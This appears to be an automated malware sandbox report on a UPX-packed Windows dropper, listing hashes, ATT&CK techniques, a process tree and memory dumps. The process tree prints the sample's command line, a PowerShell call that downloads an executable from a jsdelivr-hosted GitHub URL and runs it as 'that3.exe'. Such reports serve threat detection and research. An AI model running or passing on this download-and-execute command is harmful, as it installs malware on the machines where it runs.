af70aef3c82e00c84250dd33d47109448867293a541d7dab35656264353d447a

Analysis

max time kernel
95s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19/11/2024, 19:05

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General

Target

af70aef3c82e00c84250dd33d47109448867293a541d7dab35656264353d447a.exe
Size

15KB
MD5

fccd81097ec5a4c880aafd0fc504afe3
SHA1

9443fc2d9a7a4a0bcdd9920fa3be1279e21b0011
SHA256

af70aef3c82e00c84250dd33d47109448867293a541d7dab35656264353d447a
SHA512

9c0d80699824746c738b1dc1e9d7f0dab2c0386d652c6f5054301cfa24ca3da82ac3046b5890599c34679df25252c233d41e4da559f8cdfb8b823d47f42030d0
SSDEEP

384:6PQ3CoT+Vl1gunfFASOh8sIGUbmeuAcRdThoo:6P886Mt0h8sIt8z1

Score

10^/10

execution upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.jsdelivr.net/gh/i87924hgasdhg/hgytiryty/bboxfull

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	4924	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4924	powershell.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3292-0-0x0000000000400000-0x000000000040E000-memory.dmp	upx
behavioral2/memory/3292-17-0x0000000000400000-0x000000000040E000-memory.dmp	upx
behavioral2/memory/3292-20-0x0000000000400000-0x000000000040E000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4924	powershell.exe
4924	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4924	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3292 wrote to memory of 908	3292	af70aef3c82e00c84250dd33d47109448867293a541d7dab35656264353d447a.exe	84
PID 3292 wrote to memory of 908	3292	af70aef3c82e00c84250dd33d47109448867293a541d7dab35656264353d447a.exe	84
PID 908 wrote to memory of 4924	908	cmd.exe	85
PID 908 wrote to memory of 4924	908	cmd.exe	85
PID 3292 wrote to memory of 4164	3292	af70aef3c82e00c84250dd33d47109448867293a541d7dab35656264353d447a.exe	90
PID 3292 wrote to memory of 4164	3292	af70aef3c82e00c84250dd33d47109448867293a541d7dab35656264353d447a.exe	90

C:\Users\Admin\AppData\Local\Temp\af70aef3c82e00c84250dd33d47109448867293a541d7dab35656264353d447a.exe
"C:\Users\Admin\AppData\Local\Temp\af70aef3c82e00c84250dd33d47109448867293a541d7dab35656264353d447a.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://cdn.jsdelivr.net/gh/i87924hgasdhg/hgytiryty/bboxfull', 'that3.exe')
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://cdn.jsdelivr.net/gh/i87924hgasdhg/hgytiryty/bboxfull', 'that3.exe')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c that3.exe
  2⤵
  PID:4164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ft2bfg3k.z5q.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3292-0-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/3292-17-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/3292-20-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/4924-1-0x00007FFF15563000-0x00007FFF15565000-memory.dmp

Filesize
8KB

Download
memory/4924-2-0x00000258E5630000-0x00000258E5652000-memory.dmp

Filesize
136KB

Download
memory/4924-12-0x00007FFF15560000-0x00007FFF16021000-memory.dmp

Filesize
10.8MB

Download
memory/4924-13-0x00007FFF15560000-0x00007FFF16021000-memory.dmp

Filesize
10.8MB

Download
memory/4924-16-0x00007FFF15560000-0x00007FFF16021000-memory.dmp

Filesize
10.8MB

Download
memory/4924-18-0x00007FFF15560000-0x00007FFF16021000-memory.dmp

Filesize
10.8MB

Download